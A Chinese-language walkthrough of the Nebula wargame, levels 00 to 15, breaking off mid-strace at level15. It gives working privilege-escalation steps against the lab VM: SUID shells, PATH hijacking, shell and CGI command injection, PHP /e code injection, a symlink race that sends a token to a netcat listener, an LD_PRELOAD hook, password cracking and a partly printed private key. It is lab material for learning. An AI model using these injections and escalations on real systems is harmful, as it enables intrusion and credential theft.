目录
这是一个练习exploit的系列,里面还有其他系列,这应该是最简单的一个,可以学到很多知识
有机会我尝试继续做做吧
首先给个链接:https://exploit-exercises.com/nebula/
好像都是要获得权限执行getflag这个程序
level00
首先以level00登陆到系统,自己家目录没东西
到上一层就是各个level对应各个flag,nebula用户可以sudo -s获得root权限
看到flag00文件夹下没有东西
其实看一下官方的提示,level00是叫你去找一个SUID的程序,是以flag00用户的权限运行的
我们首先看看flag00的uid和gid,可以看到都是999
level00@nebula:~$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash ... nebula:x:1000:1000:nebula,,,:/home/nebula:/bin/bash sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin level00:x:1001:1001::/home/level00:/bin/sh flag00:x:999:999::/home/flag00:/bin/sh
查了一下find,可以以uid,user,gid,group等进行查找
-uid n File's numeric user ID is n. -user uname File is owned by user uname (numeric user ID allowed). -gid n File's numeric group ID is n. -group gname File belongs to group gname (numeric group ID allowed).
2表示将错误输出到空白设备中
level00@nebula:~$ find / -gid 999 2>/dev/null /home/flag00/.bash_logout /home/flag00/.bashrc /home/flag00/.profile /rofs/home/flag00/.bash_logout /rofs/home/flag00/.bashrc /rofs/home/flag00/.profile
找不到,那是uid咯
level00@nebula:~$ find / -uid 999 2>/dev/null /bin/.../flag00 /home/flag00 /home/flag00/.bash_logout /home/flag00/.bashrc /home/flag00/.profile /rofs/bin/.../flag00 ...
出现了两个bin的感觉,都试一下
level00@nebula:~$ ll /bin/.../flag00 -rwsr-x--- 1 flag00 level00 7358 2011-11-20 21:22 /bin/.../flag00* level00@nebula:~$ ll /rofs/bin/.../flag00 -rwsr-x--- 1 flag00 level00 7358 2011-11-20 21:22 /rofs/bin/.../flag00*
其实都可以
我们看看那个程序究竟做了什么
原来是运行了/bin/sh,继承了当前程序的权限
最终结果
level00@nebula:~$ /bin/.../flag00 Congrats, now run getflag to get your flag! flag00@nebula:~$ whoami flag00 flag00@nebula:~$ getflag You have successfully executed getflag on a target account flag00@nebula:~$
当然还有人按照权限来查找
level01
给了代码
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); system("/usr/bin/env echo and now what?"); }
看不出啥,只是最后执行了env echo XXX
env会在PATH环境变量中寻找echo,而且是从左到右搜索,我们改变PATH,再伪造echo程序,就可以达到以当前程序的权限任意执行可以执行的命令
首先,我们对tmp权限比较多,我们就在tmp伪造echo
level01@nebula:/home/flag01$ PATH=/tmp:$PATH
我们可以将echo直接改为geflag程序,或者像上次一样执行一个/bin/sh也行
但我将/bin/sh复制或者做软链接到tmp,都不行,报错如下,就是将后面的字符and当做命令了
level01@nebula:/home/flag01$ ./flag01 echo: and: No such file or directory
用/bin/getflag就行
或将命令写到文件也行,当然,命令是执行/bin/sh也行的
level01@nebula:/home/flag01$ cat /tmp/echo #!/bin/sh getflag level01@nebula:/home/flag01$ ./flag01 You have successfully executed getflag on a target account
level01@nebula:/home/flag01$ cat /tmp/echo #!/bin/sh /bin/sh level01@nebula:/home/flag01$ ./flag01 sh-4.2$ getflag You have successfully executed getflag on a target account
level02
还是给了代码
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { char *buffer; gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); buffer = NULL; asprintf(&buffer, "/bin/echo %s is cool", getenv("USER")); printf("about to call system(\"%s\")\n", buffer); system(buffer); }
这个有点像php的命令执行漏洞了,用分号间隔或者用&链接符
level02@nebula:/home/flag02$ USER="giantbranch;getflag" level02@nebula:/home/flag02$ ./flag02 about to call system("/bin/echo giantbranch;getflag is cool") giantbranch You have successfully executed getflag on a target account level02@nebula:/home/flag02$
或者
level02@nebula:/home/flag02$ USER="giantbranch&getflag" level02@nebula:/home/flag02$ ./flag02 about to call system("/bin/echo giantbranch&getflag is cool") You have successfully executed getflag on a target account giantbranch level02@nebula:/home/flag02$
下面这样也可以
level02@nebula:/home/flag02$ USER="giantbranch|getflag"
level02@nebula:/home/flag02$ USER="giantbranch&&getflag"
也可以这样
level02@nebula:/home/flag02$ USER="giantbranch;/bin/bash;" level02@nebula:/home/flag02$ ./flag02 about to call system("/bin/echo giantbranch;/bin/bash; is cool") giantbranch flag02@nebula:/home/flag02$ getflag You have successfully executed getflag on a target account flag02@nebula:/home/flag02$
level03
官方提示说定时执行下面这个shell脚本
这个脚本是执行writable.d目录下的可执行文件
level03@nebula:/home/flag03$ cat writable.sh #!/bin/sh for i in /home/flag03/writable.d/* ; do (ulimit -t 5; bash -x "$i") rm -f "$i" done
那我们将我们要执行怎人的脚本放进去就行了
比如编辑下面那样的脚本
level03@nebula:/home/flag03/writable.d$ cat test.sh getflag > flag
到看了下/var/spool/cron/crontabs的设置,好像是每3分钟执行一次
*/3 * * * * /home/flag03/writable.sh
之后就发现当前目录有个flag
level03@nebula:/home/flag03$ ls flag writable.d writable.sh level03@nebula:/home/flag03$ cat flag You have successfully executed getflag on a target account level03@nebula:/home/flag03$
level04
这关需要我们读取token的内容
代码
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> int main(int argc, char **argv, char **envp) { char buf[1024]; int fd, rc; if(argc == 1) { printf("%s [file to read]\n", argv[0]); exit(EXIT_FAILURE); } if(strstr(argv[1], "token") != NULL) { printf("You may not access '%s'\n", argv[1]); exit(EXIT_FAILURE); } fd = open(argv[1], O_RDONLY); if(fd == -1) { err(EXIT_FAILURE, "Unable to open %s", argv[1]); } rc = read(fd, buf, sizeof(buf)); if(rc == -1) { err(EXIT_FAILURE, "Unable to read fd %d", fd); } write(1, buf, rc); }
其实就检测文件名有无token这个字符串,查了下网上用的软连接
tmp目录其实真有用啊
读出的那个字符是flag04的密码
level04@nebula:/home/flag04$ ln -s /home/flag04/token /tmp/flag04 level04@nebula:/home/flag04$ ./flag04 /tmp/flag04 06508b5e-8909-4f38-b630-fdb148a848a2 level04@nebula:/home/flag04$ su flag04 Password: sh-4.2$ whoami flag04 sh-4.2$ getflag You have successfully executed getflag on a target account
level05
官方提示说是目录权限问题:Check the flag05 home directory. You are looking for weak directory permissions
ls看不到任何文件,ll看到了一个隐藏文件,而且发现.backup目录的权限好像有点问题,其他人具有读和执行权限
drwxr-xr-x 2 flag05 flag05 42 2011-11-20 20:13 .backup/
里面有一个tgz的压缩文件,解压到tmp目录发现时公私钥,再cat一下私钥
level05@nebula:/home/flag05/.backup$ tar -zxvf backup-19072011.tgz -C /tmp/flag05/ .ssh/ .ssh/id_rsa.pub .ssh/id_rsa .ssh/authorized_keys level05@nebula:/home/flag05/.backup$ cat /tmp/flag05/.ssh/id_rsa -----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEAywCDXFL7nGpgxuT8y8ZYyzif565M6LexECfaRFl6ECQtP2Vp vns4RR0HeVFpZMD2dhQQ76sXXK4Jph0/xVRgYytF1hsCJLiedJ3+aWyRMYtkgvZD ...... RcmThwKBgAi0ej7ylHhtwODQGghRmDpxEx9deJ0jilM2EnqIecJj5jnPW8BKDgV4 Dc1QljBeCQ1r30DGYmOIazbhm+orm4df6HWPayRhNBlkmulqTs5GHvLMPjcKMB0k 0Xna7QOtBAnzoHpLcrfvBdfRNE1eC87YkPUhmm5hBgG0+TeMmWgr -----END RSA PRIVATE KEY-----
然后在桌面新建文件,粘贴进去就行了
level06
这里官方提示说:The flag06 account credentials came from a legacy unix system.
flag06的认证来自经典(以前)的unix系统,那么密码哈希应该存在于/etc/passwd里,谁都能读取
看到了
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
上kali用john
root@kali:~# cat flag06passwd flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh root@kali:~# john flag06passwd Created directory: /root/.john Loaded 1 password hash (Traditional DES [128/128 BS SSE2]) hello (flag06) guesses: 1 time: 0:00:00:00 DONE (Tue Mar 7 02:51:17 2017) c/s: 78683 trying: 123456 - Pyramid Use the "--show" option to display all of the cracked passwords reliably
密码就是hello
level06@nebula:~$ su flag06 Password: sh-4.2$ getflag You have successfully executed getflag on a target account
level07
The flag07 user was writing their very first perl program that allowed them to ping hosts to see if they were reachable from the web server.
给了代码,就是执行ping,跟着将ping的结果以html的形式输出
使用的是perl脚本,传入的参数是Host
#!/usr/bin/perl use CGI qw{param}; print "Content-type: text/html\n\n"; sub ping { $host = $_[0]; print("<html><head><title>Ping results</title></head><body><pre>"); @output = `ping -c 3 $host 2>&1`; foreach $line (@output) { print "$line"; } print("</pre></body></html>"); } # check if Host set. if not, display normal page, etc ping(param("Host"));
一眼看去可以任意命令执行啊
还有一个http配置文件什么的,可以看到端口是7007
但我查看端口是没开放的啊,原来是vm虚拟机问题,换vbox
如果端口有开,直接访问一下 http://ip:7007/index.cgi?Host=127.0.0.1;getflag
但为啥没权限
当然通过nc反弹shell,或者写入.ssh私钥也行
level08
World readable files strike again. Check what that user was up to, and use it to log into flag08 account.
好像跟一个可读文件有关,进去发现一个pcap包
打开一看,全是这两个地址的tcp通信包,跟踪一下
是不是密码就是backdoor呢,试了一下不行,后面还有字符啊,为什么中间的不可见,看看十六进制
原来不可见的是0x7f
原来7F是删除
那密码就知道了,backd00Rmate
level08@nebula:/home/flag08$ su flag08 Password: sh-4.2$ getflag You have successfully executed getflag on a target account
level09
There’s a C setuid wrapper for some vulnerable PHP code…
原来是php代码,最后转化成可执行文件了
<?php function spam($email) { $email = preg_replace("/\./", " dot ", $email); $email = preg_replace("/@/", " AT ", $email); return $email; } function markup($filename, $use_me) { $contents = file_get_contents($filename); $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents); $contents = preg_replace("/\[/", "<", $contents); $contents = preg_replace("/\]/", ">", $contents); return $contents; } $output = markup($argv[1], $argv[2]); print $output; ?>
由于正则匹配使用了/e模式,preg_replace的第二个参数就会当做php代码执行,即程序时对[email ****]里面的****执行spam函数,从下图的报错也知道
应该相当于eval(字符串)吧 $a = "echo '${system(dir)}';"; eval($a);
但被转义了
但实际php的system参数可以不加引号的
执行成功
level09@nebula:/home/flag09$ cat /tmp/flag09 [email {${system(getflag)}}] level09@nebula:/home/flag09$ ./flag09 /tmp/flag09 PHP Notice: Undefined offset: 2 in /home/flag09/flag09.php on line 22 PHP Notice: Use of undefined constant getflag - assumed 'getflag' in /home/flag09/flag09.php(15) : regexp code on line 1 You have successfully executed getflag on a target account PHP Notice: Undefined variable: You have successfully executed getflag on a target account in /home/flag09/flag09.php(15) : regexp code on line 1
当然那里有个use_me的变量没用,这是提示吧
level09@nebula:/home/flag09$ cat /tmp/flag09 [email {${system($use_me)}}] level09@nebula:/home/flag09$ ./flag09 /tmp/flag09 getflag You have successfully executed getflag on a target account PHP Notice: Undefined variable: You have successfully executed getflag on a target account in /home/flag09/flag09.php(15) : regexp code on line 1
level10
据说这是很经典的文件访问竞态条件漏洞
The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call.
就是说setuid的程序flag10会上传任意文件,只要access()返回0
代码:
#include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> #include <errno.h> #include <sys/socket.h> #include <netinet/in.h> #include <string.h> int main(int argc, char **argv) { char *file; char *host; if(argc < 3) { printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]); exit(1); } file = argv[1]; host = argv[2]; if(access(argv[1], R_OK) == 0) { int fd; int ffd; int rc; struct sockaddr_in sin; char buffer[4096]; printf("Connecting to %s:18211 .. ", host); fflush(stdout); fd = socket(AF_INET, SOCK_STREAM, 0); memset(&sin, 0, sizeof(struct sockaddr_in)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(host); sin.sin_port = htons(18211); if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) { printf("Unable to connect to host %s\n", host); exit(EXIT_FAILURE); } #define HITHERE ".oO Oo.\n" if(write(fd, HITHERE, strlen(HITHERE)) == -1) { printf("Unable to write banner to host %s\n", host); exit(EXIT_FAILURE); } #undef HITHERE printf("Connected!\nSending file .. "); fflush(stdout); ffd = open(file, O_RDONLY); if(ffd == -1) { printf("Damn. Unable to open file\n"); exit(EXIT_FAILURE); } rc = read(ffd, buffer, sizeof(buffer)); if(rc == -1) { printf("Unable to read from file: %s\n", strerror(errno)); exit(EXIT_FAILURE); } write(fd, buffer, rc); printf("wrote file!\n"); } else { printf("You don't have access to %s\n", file); } }
就是如果access返回0,就连接远程主机的18211,跟着读取文件内容到buffer,发过去
这里的access()检查的是ruid,在access()检查和使用open()打开文件之间的这段时间里,我们完全可以替代掉打开的文件为token,因为我们已经通过了检查。也就是说,用一个有权限的文件去绕过access的限制,之后马上把文件替换成没有权限的token,因为已经经过了检查,所以程序可以毫无阻碍的打开没有权限的token文件。(在这个题中没有访问token文件的权限,而flag就在token中)
那我们一遍循环地 交替建立软连接,一遍循环运行程序,那么就有可能用有权限文件通过了access检查后,实际open的是token文件,由于建立软连接,目标文件存在就会报错,所以使用f参数,会删除目标文件,再建立软连接
#!/bin/bash while true; do ln -sf /tmp/flag10bb /tmp/flag10aa ln -sf /home/flag10/token /tmp/flag10aa done
#!/bin/bash while true; do /home/flag10/flag10 /tmp/flag10aa 192.168.1.111 done
还要添加执行权限哦
chmod +x flag10ln flag10whilerun
而且我们192.168.1.111那边还要nc监听那个端口哦
nc -lp 18211
先运行ln那个,在运行循环执行flag10那个,可以看到两次就上传文件成功了
level10@nebula:/tmp$ ./flag10ln & [1] 7933 level10@nebula:/tmp$ ./flag10whilerun & [2] 14155 level10@nebula:/tmp$ You don't have access to /tmp/flag10aa You don't have access to /tmp/flag10aa Connecting to 192.168.1.111:18211 .. Connected! Sending file .. wrote file! Connecting to 192.168.1.111:18211 .. Unable to connect to host 192.168.1.111 Connecting to 192.168.1.111:18211 .. Unable to connect to host 192.168.1.111 Connecting to 192.168.1.111:18211 .. Unable to connect to host 192.168.1.111 Connecting to 192.168.1.111:18211 .. Unable to connect to host 192.168.1.111 Connecting to 192.168.1.111:18211 .. Unable to connect to host 192.168.1.111 You don't have access to /tmp/flag10aa Connecting to 192.168.1.111:18211 .. Unable to connect to host 192.168.1.111 ...
同时我们这边也收到了
因为这里收到后就关闭了监听,所以那边显示的是不能连接到主机,那些都是成功绕过了access的
这应该是flag10的密码
其实家目录下有个x文件里面就有,只是里面很多空行,字符串在中间行的位置
level10@nebula:~$ cat x | grep "615" 615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
最终
level10@nebula:~$ su flag10 Password: sh-4.2$ getflag You have successfully executed getflag on a target account
看到还有在命令/home/flag10/flag10 /tmp/flag10aa 192.168.1.111前加nice -n 19
nice -n 19 表示改变文件的执行优先级,范围是 -20~19 ,数字越低,优先级越高,这里把 flag10 这个程
序的优先级变低,这样就可以在 access 函数执行后、 open 函数执行前,有机会可以改掉 /tmp/token10
的指向了。
收获就是接触到了文件访问竞态条件漏洞,也可称作为“ TOCTOU 漏洞“——time of check,time of use 。
level11
The /home/flag11/flag11 binary processes standard input and executes a shell command.
There are two ways of completing this level, you may wish to do both 🙂
代码
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <fcntl.h> #include <stdio.h> #include <sys/mman.h> /* * Return a random, non predictable file, and return the file descriptor for it. */ int getrand(char **path) { char *tmp; int pid; int fd; srandom(time(NULL)); tmp = getenv("TEMP"); pid = getpid(); asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid, 'A' + (random() % 26), '0' + (random() % 10), 'a' + (random() % 26), 'A' + (random() % 26), '0' + (random() % 10), 'a' + (random() % 26)); fd = open(*path, O_CREAT|O_RDWR, 0600); unlink(*path); return fd; } void process(char *buffer, int length) { unsigned int key; int i; key = length & 0xff; for(i = 0; i < length; i++) { buffer[i] ^= key; key -= buffer[i]; } system(buffer); } #define CL "Content-Length: " int main(int argc, char **argv) { char line[256]; char buf[1024]; char *mem; int length; int fd; char *path; if(fgets(line, sizeof(line), stdin) == NULL) { errx(1, "reading from stdin"); } if(strncmp(line, CL, strlen(CL)) != 0) { errx(1, "invalid header"); } length = atoi(line + strlen(CL)); if(length < sizeof(buf)) { if(fread(buf, length, 1, stdin) != length) { err(1, "fread length"); } process(buf, length); } else { int blue = length; int pink; fd = getrand(&path); while(blue > 0) { printf("blue = %d, length = %d, ", blue, length); pink = fread(buf, 1, sizeof(buf), stdin); printf("pink = %d\n", pink); if(pink <= 0) { err(1, "fread fail(blue = %d, length = %d)", blue, length); } write(fd, buf, pink); blue -= pink; } mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0); if(mem == MAP_FAILED) { err(1, "mmap"); } process(mem, length); } }
这个程序看上去有点复杂啊
首先从标准输入读取,若开头不是以Content-Length:开头的直接退出
跟着算出来的length跟1024比较 又有两个分支
第一个就从标准输入读取,就传给process函数
第二个就从getrand函数返回一个句柄,接下来循环从标准输入读入buf,返回的长度给pink,跟着将buf的内容写入句柄指向的地方,直到blue-pink后,blue小于等于0
最后还用mmap申请了内存,调用process函数
最后再看看那个两个函数
getrand随机生成1个文件,之后又把文件删除了,但是返回了fd(是uaf?)
process函数将buffer循环跟key去异或,最后执行system(buffer);
根据提示,这两个分支都可以成功
我们尝试第一个分支
这个限制我们的length必须为1,即Content-Length: 1
if(fread(buf, length, 1, stdin) != length) { err(1, "fread length"); }
一开始由于我们没有初始化line数组,可能里面已经存在其他字符串了,
length = atoi(line + strlen(CL)); 由于使用atoi,如果"Content-Length: "(注意最后有个空格)后面是字符串,那么返回0,如果我们输入一个字符,由于line数组后面没有初始化,但出现数字的可能性比较小
这个length的计算还是大多数情况下是准确的
我们用gdb看看输入"Content-Length:1,跟着输入x后,调用process函数前的栈
可以看到长度是没错的
但我们看看字符串,后面还有0x90,0xc4
这就导致最终buffer实际的长度不是1,之后只异或了第一位
x异或1的结果就是y
所以我们最终看到的结果y后面会出现不同字符串,侥幸的话x后面是00就执行system(y)
注:-e enable interpretation of backslash escapes -e加上后\起到转义作用,比如\n代表回车
那我们再利用PATH,在tmp目录新建个y的脚本,里面写的是getshell就行了
其实除了x,其他的很多字符都可以,只要异或之后不是文件名的限制符号就可以了
如b:
用那些字符可以写个python脚本就知道了
for i in range(1,126): print repr(chr(i)) + "->" + repr(chr(i ^ 1))
得出下面结果(有\x,右边有文件不可有字符的都不行),可以看到很多数字和字母都可以
'\x01'->'\x00' '\x02'->'\x03' '\x03'->'\x02' '\x04'->'\x05' '\x05'->'\x04' '\x06'->'\x07' '\x07'->'\x06' '\x08'->'\t' '\t'->'\x08' '\n'->'\x0b' '\x0b'->'\n' '\x0c'->'\r' '\r'->'\x0c' '\x0e'->'\x0f' '\x0f'->'\x0e' '\x10'->'\x11' '\x11'->'\x10' '\x12'->'\x13' '\x13'->'\x12' '\x14'->'\x15' '\x15'->'\x14' '\x16'->'\x17' '\x17'->'\x16' '\x18'->'\x19' '\x19'->'\x18' '\x1a'->'\x1b' '\x1b'->'\x1a' '\x1c'->'\x1d' '\x1d'->'\x1c' '\x1e'->'\x1f' '\x1f'->'\x1e' ' '->'!' '!'->' ' '"'->'#' '#'->'"' '$'->'%' '%'->'$' '&'->"'" "'"->'&' '('->')' ')'->'(' '*'->'+' '+'->'*' ','->'-' '-'->',' '.'->'/' '/'->'.' '0'->'1' '1'->'0' '2'->'3' '3'->'2' '4'->'5' '5'->'4' '6'->'7' '7'->'6' '8'->'9' '9'->'8' ':'->';' ';'->':' '<'->'=' '='->'<' '>'->'?' '?'->'>' '@'->'A' 'A'->'@' 'B'->'C' 'C'->'B' 'D'->'E' 'E'->'D' 'F'->'G' 'G'->'F' 'H'->'I' 'I'->'H' 'J'->'K' 'K'->'J' 'L'->'M' 'M'->'L' 'N'->'O' 'O'->'N' 'P'->'Q' 'Q'->'P' 'R'->'S' 'S'->'R' 'T'->'U' 'U'->'T' 'V'->'W' 'W'->'V' 'X'->'Y' 'Y'->'X' 'Z'->'[' '['->'Z' '\\'->']' ']'->'\\' '^'->'_' '_'->'^' '`'->'a' 'a'->'`' 'b'->'c' 'c'->'b' 'd'->'e' 'e'->'d' 'f'->'g' 'g'->'f' 'h'->'i' 'i'->'h' 'j'->'k' 'k'->'j' 'l'->'m' 'm'->'l' 'n'->'o' 'o'->'n' 'p'->'q' 'q'->'p' 'r'->'s' 's'->'r' 't'->'u' 'u'->'t' 'v'->'w' 'w'->'v' 'x'->'y' 'y'->'x' 'z'->'{' '{'->'z' '|'->'}' '}'->'|'
我们就用奇葩一点的{吧
level11@nebula:/home/flag11$ echo $PATH /tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games level11@nebula:/home/flag11$ cat /tmp/z getflag
注意加执行权限,
但这里还是说权限不足,不知道为啥,但确实使用setuid程序执行的啊
无意中看到别人的,就是system的文档
我们尝试第二个分支
因为第一个分支我们只能是一个字符,就跟1异或一次
但是我们要进入第二个分支,就要1024或以上,我们先尝试1024吧,那么异或是可逆的,python上
length = 1024 buffer = "getflag\x00" reslut = "" key = length & 0xff; for i in buffer: tmp = chr(ord(i) ^ key & 0xff) reslut += tmp key -= ord(i) print "Content-Length: 1024\n" + reslut + "\x00" * (1024-len(reslut))
当然'\x00'放上面也可以
length = 1024 buffer = "getflag" + "\x00" * (1024-7) reslut = "" key = length & 0xff; for i in buffer: tmp = chr(ord(i) ^ key & 0xff) reslut += tmp key -= ord(i) print "Content-Length: 1024\n" + reslut
但是,不知道是不是getrand函数将那个文件删除掉了,导致mmap报错
level11@nebula:/home/flag11$ python /tmp/flag11python.py | /home/flag11/flag11 blue = 1024, length = 1024, pink = 1024 flag11: mmap: Bad file descriptor
后来一想还看了看人家的,原来还有个环境变量没设置
ko
level11@nebula:/home/flag11$ export TEMP=/tmp level11@nebula:/home/flag11$ python /tmp/flag11python.py | /home/flag11/flag11 blue = 1024, length = 1024, pink = 1024 getflag is executing on a non-flag account, this doesn't count
level12
There is a backdoor process listening on port 50001.
给了一个lua的脚本
local socket = require("socket") local server = assert(socket.bind("127.0.0.1", 50001)) function hash(password) prog = io.popen("echo "..password.." | sha1sum", "r") data = prog:read("*all") prog:close() data = string.sub(data, 1, 40) return data end while 1 do local client = server:accept() client:send("Password: ") client:settimeout(60) local line, err = client:receive() if not err then print("trying " .. line) -- log from where ;\ local h = hash(line) if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then client:send("Better luck next time\n"); else client:send("Congrats, your token is 413**CARRIER LOST**\n") end end client:close() end
代码不是很长,还是能看懂
就是监听本地的50001端口,有人连接就要求输入password,对用户输入的密码进行sha1加密
查了下那个..是字符串连接符,最后取前40位(可看到到命令行输出结果最后有个'-',还有lua的sub索引是从1开始的),最后与4754a4f4bd5787accd33de887b9250a0691dd198比较,一开始以为是hash爆破或者碰撞,看到命令应该又是命令注入
看看,没有
level12@nebula:/home/flag12$ nc 127.0.0.1 50001 Password: "123";getflag Better luck next time level12@nebula:/home/flag12$
由于程序没有将命令执行的结果输出,那我们只能输出到文件中,KO
level12@nebula:/home/flag12$ nc 127.0.0.1 50001 Password: "123";getflag>/tmp/flag12 Better luck next time level12@nebula:/home/flag12$ cat /tmp/flag12 You have successfully executed getflag on a target account
level13
There is a security check that prevents the program from continuing execution if the user invoking it does not match a specific user id.
代码:
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <sys/types.h> #include <string.h> #define FAKEUID 1000 int main(int argc, char **argv, char **envp) { int c; char token[256]; if(getuid() != FAKEUID) { printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID); printf("The system administrators will be notified of this violation\n"); exit(EXIT_FAILURE); } // snip, sorry 🙂 printf("your token is %s\n", token); }
只要他获取到的uid不为1000,就退出
我们看看uid是1000的是谁,原来是它
level13@nebula:/home/flag13$ cat /etc/passwd | grep 1000 nebula:x:1000:1000:nebula,,,:/home/nebula:/bin/bash
方法1
那这我们直接调试修改getuid的返回值就行了啊,上gdb
反编译一下main函数
(gdb) disassemble main Dump of assembler code for function main: 0x080484c4 <+0>:push %ebp 0x080484c5 <+1>:mov %esp,%ebp 0x080484c7 <+3>:push %edi 0x080484c8 <+4>:push %ebx 0x080484c9 <+5>:and $0xfffffff0,%esp 0x080484cc <+8>:sub $0x130,%esp 0x080484d2 <+14>:mov 0xc(%ebp),%eax 0x080484d5 <+17>:mov %eax,0x1c(%esp) 0x080484d9 <+21>:mov 0x10(%ebp),%eax 0x080484dc <+24>:mov %eax,0x18(%esp) 0x080484e0 <+28>:mov %gs:0x14,%eax 0x080484e6 <+34>:mov %eax,0x12c(%esp) 0x080484ed <+41>:xor %eax,%eax 0x080484ef <+43>:call 0x80483c0 <getuid@plt> 0x080484f4 <+48>:cmp $0x3e8,%eax 0x080484f9 <+53>:je 0x8048531 <main+109> 0x080484fb <+55>:call 0x80483c0 <getuid@plt>
我们在下面这里下断点,修改eax的值即可
0x080484f4 <+48>: cmp $0x3e8,%eax
ko
(gdb) b *0x080484f4 Breakpoint 1 at 0x80484f4 (gdb) r Starting program: /home/flag13/flag13 Breakpoint 1, 0x080484f4 in main () (gdb) print $eax $1 = 1014 (gdb) set $eax=1000 (gdb) c Continuing. your token is b705702b-76a8-42b0-8844-3adabbe5ac58 [Inferior 1 (process 14323) exited with code 063] (gdb)
方法2
这个方法是hook,LD_PRELOAD可以影响程序运行时的链接,这个变量允许你定义在程序运行时优先加载的动态链接库。 我们实现自己的getuid函数
#include <sys/types.h> uid_t getuid(void){ return 1000; }
当然这样也行的,只不过上面用了getuid的函数原型,uid_t需要用到头文件而已
level13@nebula:/tmp$ cat flag13getuid.c int getuid(void){ return 1000; }
gcc /tmp/flag13getuid.c -shared -fPIC -o flag13getuid.so
注意,-shared参数和-fPIC参数非常重要:
-shared 告诉gcc要生成的是动态链接库;
-fPIC 告诉gcc生成的生成的代码是非位置依赖的,方面的用于动态链接。
因为ruid才可以hook,所以先复制一下
level13@nebula:/tmp$ cp /home/flag13/flag13 /tmp/flag13 level13@nebula:/tmp$ export LD_PRELOAD=/tmp/flag13getuid.so level13@nebula:/tmp$ ./flag13 your token is b705702b-76a8-42b0-8844-3adabbe5ac5
方法3
我们看源码没看到token初始化啊,怎么会输出预设的字符串呢
ida看看,原来还是做了简单的加密
几句代码解一下密
level14
This program resides in /home/flag14/flag14. It encrypts input and writes it to standard output. An encrypted token file is also in that home directory, decrypt it 🙂
看来是解密啊
上去看到token,尝试读一下,是密文
我们运行加密程序看看
level14@nebula:/home/flag14$ ./flag14 -e 1111111111 123456789:
好像只是加上索引值
那解密就简单了
那个最后一个是垂直制表符,所以不用理他,就是前面的就行了
ida看一下代码也是这样咯
level15
strace the binary at /home/flag15/flag15 and see if you spot anything out of the ordinary.
You may wish to review how to “compile a shared library in linux” and how the libraries are loaded and processed by reviewing the dlopen manpage in depth.
Clean up after yourself 🙂
好像要我们用strace去追踪一下linux的共享库是怎么编译的,还有它是怎么载入内存的
level15@nebula:/home/flag15$ strace ./flag15 execve("./flag15", ["./flag15"], [/* 19 vars */]) = 0 brk(0) = 0x8e12000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb78ad000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbf9121f4) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/tls/i686/sse2", 0xbf9121f4) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/tls/i686/cmov", 0xbf9121f4) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/tls/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/tls/i686", 0xbf9121f4) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/tls/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/tls/sse2/cmov", 0xbf9121f4) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/tls/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/tls/sse2", 0xbf9121f4) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/tls/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/tls/cmov", 0xbf9121f4) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/tls/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/tls", 0xbf9121f4) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/i686/sse2/cmov", 0xbf9121f4) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/i686/sse2", 0xbf9121f4) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/i686/cmov/libc.so.6", O_RDONLY) = -1 